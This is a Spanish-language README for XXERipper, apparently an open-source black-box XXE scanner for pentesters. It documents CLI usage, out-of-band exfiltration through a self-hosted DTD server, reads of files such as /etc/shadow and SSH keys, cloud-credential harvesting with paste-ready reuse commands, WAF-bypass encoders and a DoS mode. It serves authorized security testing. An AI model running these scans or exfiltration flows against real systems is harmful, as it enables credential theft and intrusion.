
Escáner XXE de caja negra que detecta inyección en banda, basada en errores y ciega fuera de banda mediante línea base estadística, fingerprinting de parser y confirmación OOB, con salida SARIF.
Un escáner autónomo de entidades externas XML (XXE) de caja negra para profesionales de seguridad.
XXERipper detecta XXE en banda, basado en errores y ciego fuera de banda en más de 30 familias de técnicas de ataque. Combina línea base estadística, fingerprinting diferencial de parsers, confirmación fuera de banda mediante interactsh-client (manual o automática), una consola basada en navegador, codificación para elusión de WAF, detección de cadenas de explotación de extremo a extremo, extracción de credenciales con fragmentos de shell listos para pegar, hallazgos mapeados a CWE y salida JSON / SARIF / HTML para CI/CD y generación de informes.
XXERipper es un escáner autónomo de CLI y consola de navegador para la inyección de entidades externas XML, diseñado para pentesters, cazadores de bug bounty e investigadores de seguridad que necesitan una detección precisa y con pocos falsos positivos de una clase de vulnerabilidad que es fácil de probar mal y difícil de probar bien.
Es deliberadamente minimalista — httpx y (para la consola) flask, nada más — y auditable de extremo a extremo. Cada fase puede rastrearse, cada hallazgo lleva un rastro de evidencia, cada técnica omitida se reporta con un motivo, y cada archivo o credencial extraída se deduplica y se almacena con fragmentos de explotación listos para pegar.
XXERipper no explota el objetivo más allá de la propia primitiva de resolución de entidades. Determina si un parser resuelve entidades externas, si el resultado puede observarse en banda, mediante errores del parser o fuera de banda, y reporta esa determinación con una puntuación de confianza, un mapeo a CWE y — cuando se completa una cadena completa — un hallazgo resumen que nombra el impacto de extremo a extremo.
ChainTracker observa cada hallazgo, deriva las etapas de la cadena a partir del ID + la evidencia, y dispara un hallazgo resumen cuando se completa una plantilla — XXE → IMDS → credenciales IAM → toma de control de cuenta AWS, XXE → clave privada SSH → movimiento lateral, XXE → secretos de Kubernetes → robo de credenciales del clúster, y diez más.aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=… y curl -H 'Authorization: Bearer …' — construidos con las claims reales del token cuando corresponde.interactsh-client. Dos modos: manual (el escáner imprime cada subdominio, tú vigilas el cliente) y automático (--oob-auto lanza interactsh-client y correlaciona los callbacks en el proceso). Ambos incrustan un token único de 16 hex por payload para que los callbacks nunca puedan atribuirse erróneamente.--oob-listen), un directorio servido por tu propio servidor web (--oob-dtd-dir), o las propias rutas Flask de la WebUI (marca Serve DTDs from this WebUI en el panel).jar://, data://, phar://, glob://, compress.zlib://.XXE-OFFICE-XSLT-{DOCX,XLSX}) — una PI xml-stylesheet dentro de una parte de Word o Excel hace que los procesadores de documentos del lado del servidor obtengan un XSLT controlado por el atacante.jackson-dataformat-xml en el classpath, que acepta silenciosamente application/xml en cualquier endpoint @RequestBody.--bypass-waf) — reenvía todo el catálogo de payloads a través de quince codificadores de tres familias. Se ejecuta después de las fases principales para que un impacto directo se encuentre en ~20 peticiones en lugar de quedar enterrado tras ~1.500 codificadas.--serve) — banco de trabajo basado en navegador con streaming de eventos en vivo, paleta de comandos, navegación por teclado, descargas JSON / SARIF / HTML por trabajo y un botón separado View HTML que abre el informe en línea en lugar de descargarlo. Frontend sin dependencias: un único archivo HTML autocontenido, sin CDN.--pre-auth-request FILE reproduce peticiones en formato Burp y fusiona su Set-Cookie antes de que comience el escaneo, de modo que los flujos de autenticación de varios pasos funcionan sin un archivo de cookies.pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
La instalación base incluye `httpx[http2]` (con la negociación HTTP/2
habilitada mediante ALPN) y `Flask` (utilizado por la consola web `--serve`).
El soporte de proxy SOCKS es el único extra opcional. HTTP/2 es una característica
requerida, no opcional — se encuentra en la lista de dependencias principales como
`httpx[http2]`. El extra `xxeripper[http2]` se proporciona únicamente por
costumbre del usuario; instalarlo equivale a instalar el paquete base.
### Paquetes de distribución```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### Requisitos
- **Python 3.9 hasta 3.14.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — el cliente HTTP. El soporte de HTTP/2
se incorpora mediante el extra `[http2]` de `httpx`, que trae consigo
la dependencia `h2`. El escáner negocia HTTP/2 mediante ALPN en
el handshake TLS y recurre silenciosamente a HTTP/1.1 donde el
servidor no lo soporta.
- **`Flask` ≥ 3.0, < 4.0** — utilizado por la consola web `--serve`. Es
una dependencia principal, no opcional; la consola es una interfaz
de primera clase, y `xxeripper --serve` está documentado en
[Quick Start](#quick-start) y [Web Console](#web-console).
- **Opcional:** `PySocks` ≥ 1.7.1 para proxies SOCKS
(`xxeripper[socks]`).
- **Opcional:** `interactsh-client` en `PATH` para confirmación OOB
automática (`--oob-auto`). El modo OOB manual (`--oob-domain`) no tiene
dependencia externa — ejecutas `interactsh-client` tú mismo en una
terminal separada.
El wheel incluye un único archivo, `xxeripper.py`. No hay directorio
de paquete, ni extensión compilada, ni paso de compilación en el momento
de la instalación. El punto de entrada de la CLI se declara como
`xxeripper = "xxeripper:main"`, por lo que `pip install xxeripper` coloca
un ejecutable `xxeripper` en tu `PATH`.
### Extras opcionales
| Extra | Incorpora | Cuándo instalarlo |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | Escaneas a través de un proxy SOCKS5, incluido Tor mediante `socks5h://` |
| `xxeripper[http2]` | *(nada nuevo)* | Nunca es estrictamente necesario — la instalación base ya incluye `httpx[http2]`. Se proporciona por costumbre del usuario |
No hay un extra `[webui]` — Flask es una dependencia principal, y la
consola funciona directamente en cualquier instalación base.
---
## Quick Start```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
El escáner se encarga de la captura de línea base, la identificación de huellas del parser, la generación de payloads, la ejecución, la puntuación, la agregación de cadenas, la extracción de credenciales y la generación de informes. La confirmación ciega está disponible ya sea como un flujo de trabajo de dos terminales (modo manual, el predeterminado) o como un flujo de trabajo totalmente automatizado impulsado por subprocesos (--oob-auto).
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## Referencia de línea de comandos
### Objetivo y salida
| Opción | Descripción |
|---|---|
| `url` (posicional) | URL única a escanear |
| `-u, --urls FILE` | Archivo con URLs, una por línea |
| `-r, --request FILE` | Solicitud HTTP sin procesar en formato Burp |
| `-o, --output FILE` | Archivo de salida de resultados |
| `--format {json,sarif,both}` | Formato de salida. Predeterminado: `json` |
| `--report-html PATH` | Escribe un informe HTML autocontenido tras el escaneo |
| `--fail-on {critical,high,medium,low,never}` | Sale con código `2` cuando hay un hallazgo de severidad igual o superior a esta. Predeterminado: `never` |
| `--debug` | Salida de diagnóstico detallada |
### Fuera de banda
| Opción | Descripción |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **Modo manual.** Dominio de sesión de interactsh-client. El escáner construye payloads bajo este dominio e imprime cada subdominio en el resumen del objetivo. No sondea — vigila tu terminal de `interactsh-client`. Mutuamente excluyente con `--oob-auto` |
| `--oob-auto` | **Modo automático.** Lanza `interactsh-client` como subproceso, extrae el dominio de sesión de su salida JSON y correlaciona las devoluciones de llamada en el proceso. Requiere `interactsh-client` en `PATH`. Mutuamente excluyente con `--oob-domain` |
| `--oob-timeout SECONDS` | Presupuesto de espera OOB por sondeo. Solo tiene sentido con `--oob-auto`; combinarlo con `--oob-domain` es un error de argumentos, ya que el modo manual nunca espera. Predeterminado: `8.0` |
### Exfiltración ciega
| Opción | Descripción |
|---|---|
| `--oob-listen HOST:PORT` | Vincula un servidor HTTP integrado que sirve payloads DTD. Requiere `--oob-public-url`. Usa `0.0.0.0:PORT` para vincular todas las interfaces |
| `--oob-public-url URL` | Prefijo de URL pública para el servidor DTD integrado (p. ej. `http://198.51.100.7:8888`). Requerido con `--oob-listen` |
| `--oob-dtd-dir PATH` | Alternativa a `--oob-listen`: un directorio donde el escáner escribe archivos DTD. Sírvelo desde tu propio servidor web. Requiere `--oob-dtd-url-prefix` |
| `--oob-dtd-url-prefix URL` | Prefijo de URL pública que se asigna a `--oob-dtd-dir` (p. ej. `http://198.51.100.7:8000/dtds`) |
Los dos modos son mutuamente excluyentes en la práctica: usa `--oob-listen` cuando el objetivo puede alcanzar la dirección del escáner, y `--oob-dtd-dir` cuando controlas un servidor web de acceso público. El modo OOB manual (`--oob-domain`) no admite exfiltración — el escáner nunca lee la salida de interactsh en modo manual, por lo que el contenido exfiltrado debe leerse desde la terminal del operador.
### Consola web
| Opción | Descripción |
|---|---|
| `--serve` | Inicia la consola basada en navegador en lugar de ejecutar un escaneo CLI |
| `--host ADDRESS` | Dirección de vinculación para la consola. Predeterminado: `127.0.0.1`. El banner de inicio advierte contra vinculaciones que no sean loopback |
| `--port PORT` | Puerto de vinculación para la consola. Predeterminado: `8080` |
### Huella digital y selección de archivos
| Opción | Descripción |
|---|---|
| `--no-fingerprint` | Omite la fase de huella digital del parser. La habilitación por capacidades se desactiva; todas las fases se ejecutan incondicionalmente |
| `--no-fingerprint-cache` | Desactiva la caché de huella digital en disco; fuerza un sondeo nuevo |
| `--full-file-scan` | Itera la lista completa de objetivos de archivo de Linux + Windows (~58 rutas) en lugar del subconjunto prioritario (~21 rutas) |
### Cookies y payloads
| Opción | Descripción |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | Cookies en línea o archivo jar de Netscape / `key=value` |
| `--no-cookie-merge` | Omite la fusión de `Set-Cookie` |
| `--pre-auth-request FILE` | Reproduce una solicitud en formato Burp una vez antes del escaneo. Los encabezados `Set-Cookie` de la respuesta se fusionan en el jar del escáner. Repite para autenticación de varios pasos |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | Payloads personalizados (en línea, archivo, directorio) |
### Modos de ataque
| Opción | Descripción |
|---|---|
| `--timing` | Habilita la detección ciega basada en temporización |
| `--unsafe` | Habilita payloads DoS (Billion Laughs) |
| `--svg` | Fuerza las fases de carga SVG y multipart/DOCX/Office-XSLT |
| `--saml` | Fuerza la fase de pre-firma SAML en endpoints cuya URL no parece tener forma de SAML |
### Omisión de WAF
| Opción | Descripción |
|---|---|
| `--bypass-waf [ENCODERS]` | Reenvía todo el catálogo de payloads a través de los codificadores seleccionados *después* de las fases principales. Pasa `all` (o ningún valor) para todos los codificadores, o un subconjunto separado por comas. Nombres válidos: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | Extiende el barrido a payloads proporcionados por el usuario. Solo tiene sentido con `--bypass-waf`. Los personalizados que hacen referencia a `{CALLBACK}` o `{DOMAIN}` se omiten |
### Red y estabilidad
| Opción | Descripción |
|---|---|
| `--proxy URL` | `http://`, `https://`, `socks5://`, o `socks5h://` |
| `--threads N` | Objetivos concurrentes. Predeterminado: 20 |
| `--rate R` | Máximo de solicitudes por segundo por objetivo. Predeterminado: ilimitado |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | Predeterminado: 5.0 / 15.0 |
| `--budget SECONDS` | Límite de tiempo de reloj del escaneo. Predeterminado: 3600 |
| `--verify-tls` | Reactiva la verificación de certificados |
### Marcadores de posición de payloads personalizados
`{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — sustituidos en el momento del envío con el objetivo de archivo actual, el subdominio de devolución de llamada único, el dominio de sesión, la URL del objetivo y el nombre de host del objetivo.
---
## Consola web
La consola es un banco de trabajo basado en navegador para ejecutar e inspeccionar escaneos, servido desde el mismo binario mediante `--serve`.```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
La consola se enlaza a loopback por defecto y no tiene autenticación. Volver a enlazarla mediante --host imprime una advertencia explícita; colóquele delante un proxy inverso autenticado si necesita acceso remoto.
Un banco de trabajo de tres paneles:
exfiltrated bajo cualquier callback que transportara contenido de archivo recuperado.Pulse ⌘K / Ctrl+K para una búsqueda difusa entre comandos, objetivos y hallazgos. Los hallazgos muestran su severidad como una píldora coloreada en la paleta.
| Tecla | Acción |
|---|---|
j / k | Siguiente / anterior objetivo |
n / p | Siguiente / anterior hallazgo |
/ | Enfocar el filtro |
c | Abrir el cajón de nuevo escaneo |
r | Volver a ejecutar el escaneo seleccionado |
? | Diálogo de atajos |
Esc | Descarte progresivo (filtro → hallazgo → objetivo) |
Acceso completo a cada flag de la CLI desde el navegador: URL o petición de Burp, modo OOB (dominio manual o automático), la sección Blind exfiltration con dos opciones mutuamente excluyentes (servidor DTD alojado en la WebUI más campo de URL pública, o directorio DTD más prefijo de URL para servido externo), proxy, cookies, rate, budget, timeouts, threads, payloads personalizados, archivos de payload, peticiones de pre-autenticación y la cuadrícula de casillas para las opciones de escaneo. La sección de bypass de WAF expone los quince codificadores como casillas individuales más un botón "Toggle all"; tanto la cuadrícula de codificadores como la casilla de inclusión de personalizados se restablecen a desactivado cada vez que se cierra el cajón, de modo que el bypass nunca se arrastra silenciosamente entre escaneos.
Marcar Auto OOB mode en el cajón genera un interactsh-client para toda la vida del proceso del servidor. Se genera de forma perezosa en el primer trabajo con OOB automático y se reutiliza a partir de entonces. Varios trabajos concurrentes comparten el dominio de sesión pero mantienen conjuntos de tokens independientes, por lo que los callbacks siguen atribuyéndose correctamente por objetivo. Los callbacks entrantes se imprimen en el terminal del servidor a medida que llegan.
Además de las opciones de alojamiento de DTD del lado de la CLI, la WebUI puede servir DTDs desde sus propias rutas de Flask. Marque Serve DTDs from this WebUI en el cajón, proporcione la URL pública donde la WebUI es accesible, y el escáner registrará los DTDs en /dtd/<token>.dtd en el mismo proceso de Flask que ejecuta la consola. Sin segundo terminal, sin python -m http.server, sin directorio separado.
Esto funciona cuando el objetivo puede alcanzar la dirección a la que está enlazada la WebUI. Enlace la consola a 0.0.0.0 con un prefijo de URL pública y la WebUI se convierte en un servidor de exfiltración completamente autónomo. Cuando el objetivo es remoto y la WebUI no lo es, use en su lugar el modo --oob-dtd-dir de la CLI: el escáner escribe los archivos DTD en un directorio, usted sirve ese directorio desde nginx o Apache, y la WebUI lee los resultados de vuelta a través del mismo proceso de escaneo.
Cada trabajo completado tiene tres botones de descarga en la barra de herramientas:
--format json de la CLI.--format sarif de la CLI.Content-Disposition: attachment).Content-Disposition: inline).El mismo archivo, dos comportamientos, dos botones.
Un trabajo en ejecución puede cancelarse desde la consola. La cancelación es cooperativa: se señala el ScanContext del trabajo, y cada fase lo comprueba antes de cada envío de payload. Un trabajo que espera un hueco de concurrencia puede cancelarse antes de que llegue a empezar.
XXERipper es un orquestador de un solo archivo con un pequeño conjunto de componentes componibles. No hay sistema de plugins, ni DSL de configuración, ni estado externo más allá de la caché de fingerprints en disco.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### Componentes
| Componente | Rol |
|---|---|
| `build_session` | Construye un `httpx.Client` con negociación HTTP/2, agrupación de conexiones, proxy opcional e inyección de encabezados por solicitud |
| `CookieManager` | Fusiona cookies de cadenas en línea, jars de Netscape, archivos `key=value` y encabezados de Burp. Opcionalmente absorbe `Set-Cookie` de cada respuesta |
| `CustomPayloadLoader` | Carga, divide y normaliza payloads del usuario desde cadenas en línea, archivos (separador `---` o límites `<?xml`) y directorios |
| `OOBClient` | Genera subdominios correlacionados, rastrea tokens pendientes, despacha observaciones, correlaciona callbacks contra un `InteractshManager` en vivo. Funciona de forma idéntica en modos manual y automático |
| `InteractshManager` | Lanza y lee `interactsh-client -json -v`, extrae el dominio de sesión, expone una lista de callbacks thread-safe |
| `DTDServer` | Servidor HTTP integrado para payloads DTD de exfiltración ciega. Vinculado por `--oob-listen`. Sirve `<token>.dtd` bajo demanda |
| `FileDTDWriter` | Escribe archivos DTD en un directorio que el operador sirve externamente. Emparejado con `--oob-dtd-url-prefix` |
| `WebUIDTDServer` | Respalda la ruta DTD alojada en la WebUI. Registra DTDs en un dict de todo el proceso y devuelve URLs bajo `/dtd/<token>.dtd` |
| `OOBExfilExtractor` | Analiza objetos de callback de interactsh y extrae datos exfiltrados de rutas/consultas de solicitudes HTTP y etiquetas de subdominio DNS |
| `ParserFingerprint` | Envía sondas de prueba/control emparejadas, compara el texto de error contra 11 familias de firmas, rellena un dict `capabilities` |
| `StatisticalBaseline` | Captura 7 muestras benignas; calcula longitud mediana, tiempo transcurrido, estado, hash del cuerpo, entropía de Shannon mediana, entropía por ventanas, IQR, p95 |
| `AccuracyEngine` | Puntúa una respuesta candidata contra la línea base, aplica vetos y pesos, clasifica la severidad |
| `XXEPayloadGenerator` | Funciones puras que devuelven cadenas de payload y bytes para cada familia de técnicas |
| `XXEDetector` | El orquestador: construye encabezados, ejecuta fases, llama al motor de precisión, registra hallazgos, impulsa los subsistemas de loot y cadena |
| `ChainTracker` | Registra etapas de cadena derivadas de IDs de hallazgos y evidencia; dispara hallazgos de rollup cuando las plantillas se completan |
| `LootStore` | Repositorio thread-safe y deduplicado de archivos y secretos extraídos. No persiste nada en disco por defecto |
| `CredentialExtractor` | Extracción basada en regex de AWS IAM JSON e INI, Alibaba RAM, claves privadas SSH, cuentas de servicio GCP, tokens de acceso OAuth, tokens de cuenta de servicio de Kubernetes y portadores genéricos, cada uno con fragmentos de shell listos para pegar |
| `FileContentExtractor` | Extracción específica por tipo de contenido de archivo sin procesar desde cuerpos de respuesta (`/etc/passwd`, `/etc/shadow`, claves SSH, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, archivos `/proc`), con un fallback estructural genérico |
| `ScanContext` | Fecha límite de reloj de pared y cancelación cooperativa; cada fase lo verifica antes de cada envío |
| `RateLimiter` | Impone un intervalo mínimo entre solicitudes por objetivo; independiente de `--threads` |
### Flujo de trabajo de escaneo
1. **Pre-vuelo.** Se construye el cookie jar. Las solicitudes de pre-autenticación (si las hay) se reproducen y sus encabezados `Set-Cookie` se fusionan. Se cargan los payloads personalizados. Se establece la fecha límite de `ScanContext`.
2. **Captura de línea base.** Se envían siete solicitudes `POST` benignas. Se calculan la longitud mediana, el tiempo transcurrido, el código de estado, el hash del cuerpo, la entropía, el IQR y el p95.
3. **Huella digital.** Se ejecutan nueve sondas de capacidad contra el objetivo. El texto de error de las sondas se compara con las firmas del parser. El resultado se almacena en caché en disco (a menos que se use `--no-fingerprint-cache`).
4. **Fases principales.** Lectura de archivos en banda, conmutación de JSON a XML, matriz de tipos de contenido, variación de métodos, inyección de parámetros de consulta, SSRF, metadatos de nube, wrappers RCE, basado en errores.
5. **Fases dependientes de OOB.** Solo DNS, DTD externo, OOB de entidad de parámetro, bypass de CDATA, variantes de XInclude, fetchers XSLT/XSD, PI `xml-stylesheet`, multipart, DOCX, form-encoded.
6. **Bypass y sinks alternativos.** Bypass de codificación, XInclude, carga de SVG, envoltura SAML/SOAP, SAML pre-firma.
7. **Fases opcionales.** Ciego basado en tiempo (`--timing`), DoS (`--unsafe`).
8. **Fases de documentos de Office y YAML.** PI `xml-stylesheet` en partes DOCX/XLSX, y sondas de deserialización de PyYAML / SnakeYAML.
9. **Payloads personalizados.** Cada payload del usuario se prueba contra cada objetivo de archivo.
10. **Bypass de WAF (opcional).** Si se establece `--bypass-waf`, todo el catálogo de payloads se reenvía a través de cada codificador seleccionado. Se ejecuta *después* de las fases principales para que se encuentre un impacto directo antes del barrido codificado.
11. **Rollup de cadena.** `ChainTracker.emit_rollup_findings()` recorre las plantillas completadas y emite un hallazgo de rollup por cada finalización.
12. **Informes.** Los resultados se serializan a JSON, SARIF y/o HTML autocontenido.
Cada fase se ejecuta dentro de `_run_phase`, que captura cualquier excepción, registra el traceback bajo `--debug` y continúa con la siguiente fase. Un hallazgo emitido antes de un fallo no puede perderse.
---
## Metodología de huella digital
La fase de huella digital responde dos preguntas: **qué stack XML se está ejecutando** y **qué capacidades de resolución de entidades expone**. Ambas impulsan la selección de fases — un objetivo que rechaza DOCTYPE por completo no necesita que se ejecute el barrido de DTD local contra él.
### Sondas de capacidad
Nueve sondas emparejadas, cada una con un payload de prueba y un payload de control:
| Capacidad | Prueba | Condición de éxito (la prueba pasa, el control no) |
|---|---|---|
| `dtd_allowed` | DOCTYPE benigno con una declaración de elemento | `200`, cadena marcadora presente |
| `dtd_entity_syntax_accepted` | DOCTYPE con una declaración de entidad (no usada) | `200`, marcador presente |
| `dtd_parsed_but_not_resolved` | DOCTYPE con entidad declarada y referenciada | `200`, `&x;` sin procesar visible (el parser lo mantuvo sin expandir) |
| `internal_entity` | Entidad interna expandida | `200`, marcador presente, `&x;` ausente |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, la salida parece un hostname, sin marcado, sin entidad sin procesar |
| `parameter_entity` | Stager de entidad de parámetro interna | `200`, `PE_MARKER` presente, `&inner;` ausente |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, o `Connection refused` / `Failed to load` / `IO error` presente |
El control es la misma solicitud con un cuerpo benigno. Una capacidad solo se marca como `True` si el predicado de éxito de la prueba pasa **y** el del control no. Esto es lo que hace que la huella digital sea diferencial en lugar de coincidencia de patrones — un objetivo que siempre devuelve `200 OK` no puede reportar falsamente "DTD permitido".
### Coincidencia de firmas
Los cuerpos de respuesta de las sondas (y cualquier cuerpo de respuesta `5xx`) se acumulan en un búfer de texto de error. Ese búfer se compara contra once familias de firmas:
| Familia | Cadenas representativas |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
| `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
| `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
| `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
| `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |
La familia con más coincidencias gana. La familia `libxml2` es deliberadamente la más grande — las clases de excepción de lxml, los nombres de funciones C subyacentes y los diagnósticos legibles por humanos de libxml2 cuentan, por lo que un objetivo que usa lxml se distingue con confianza de uno que usa el `etree` de la stdlib de Python (que es expat y coincide con la familia `python_etree` en su lugar).
### Caché en disco
Los resultados de la huella digital se almacenan en caché en `~/.cache/xxeripper/fingerprints.json`, indexados por URL del objetivo. Una entrada en caché almacena el nombre del parser ganador, el dict completo de capacidades y una marca de tiempo. Los escaneos repetidos de la misma URL omiten la fase de sonda por completo.
La caché es estable entre ejecuciones a menos que el stack XML del objetivo cambie. En CI, apunte `HOME` a un directorio de caché persistido para ahorrar las solicitudes de sonda en cada ejecución. Elimine el archivo o pase `--no-fingerprint-cache` para invalidar.
### Control de capacidades
Dos fases consumen el resultado de la huella digital:
- **Lectura de archivos en banda** — se omite si la huella digital tuvo éxito y no reportó ninguna capacidad de resolución de entidades en todas las de `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed`.
- **Barrido de DTD local basado en errores** — misma puerta. La sub-técnica de entidad malformada se ejecuta de todos modos, porque tiene éxito en stacks (Xerces, .NET) que no necesitan un DTD local en absoluto.
La puerta solo se activa si la huella digital *tuvo éxito* (es decir, al menos una capacidad es `True` y hay una familia de parser ganadora). Una huella digital que devolvió todo `False` — lo que ocurre cuando el objetivo no analiza XML en absoluto — se trata como "desconocida" y las fases se ejecutan incondicionalmente. Esto evita el modo de fallo en el que una huella digital mal configurada suprime hallazgos reales.
Pase `--no-fingerprint` para deshabilitar la fase y la puerta por completo.
---
## Metodología de detección
El pipeline de detección está deliberadamente estratificado. Cada capa es un veto o un peso, y cada una tiene un modo de fallo específico que está diseñada para prevenir.
### Capa 1 — Línea base estadística
Se envían siete solicitudes `POST` benignas antes de cualquier payload de ataque. De esas muestras:
- **Longitud mediana del cuerpo** — usada para la puntuación de delta de longitud.
- **Tiempo transcurrido mediano** e **IQR** — usados para la puntuación de anomalía de tiempo.
- **Código de estado modal** — usado para la puntuación de cambio de estado.
- **Hash del cuerpo más común** — usado para el veto de sin cambios.
- **Entropía de Shannon mediana** sobre todo el cuerpo — usada como verificación de cordura de límite inferior.
- **Entropía por ventanas mediana** sobre ventanas de 256 bytes — usada para la puntuación de anomalía de entropía.
- **Unión de todos los cuerpos de muestra** — usada para la verificación de error de parser anclada a la línea base.
Las estadísticas de línea base son el ancla. Cada decisión de puntuación posterior compara una respuesta candidata contra esta línea base, no contra un umbral fijo.
### Capa 2 — Vetos
Los vetos rechazan ruido obvio antes de la puntuación. Dos son duros, uno es blando.
